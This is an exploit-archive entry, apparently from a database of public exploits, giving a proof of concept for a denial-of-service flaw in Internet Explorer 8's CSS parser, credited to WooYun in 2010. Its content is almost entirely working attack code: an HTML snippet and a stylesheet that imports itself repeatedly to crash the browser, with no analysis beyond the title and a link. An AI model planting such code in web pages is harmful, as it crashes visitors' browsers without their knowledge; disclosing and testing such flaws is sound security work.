Internet Explorer 8 CSS Parser Denial of Service

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Internet Explorer 8 CSS Parser Denial of Service
# Published : 2010-12-08
# Author : WooYun
# Previous Title : Mediamonkey 3.2.4.1304 (mp3) Buffer Overflow Vulnerability PoC
# Next Title : Wonderware InBatch <= 9.0sp1 Buffer Overflow Vulnerability

<code>
<div style="position: absolute; top: -999px;left: -999px;">
<link href="css.css" rel="stylesheet" type="text/css" />
</code>

<code of css.css>
*{
 color:red;
}
@import url("css.css");
@import url("css.css");
@import url("css.css");
@import url("css.css");
</code>

http://www.wooyun.org/bugs/wooyun-2010-0885

WooYun is a connection platform for vendors and security researchers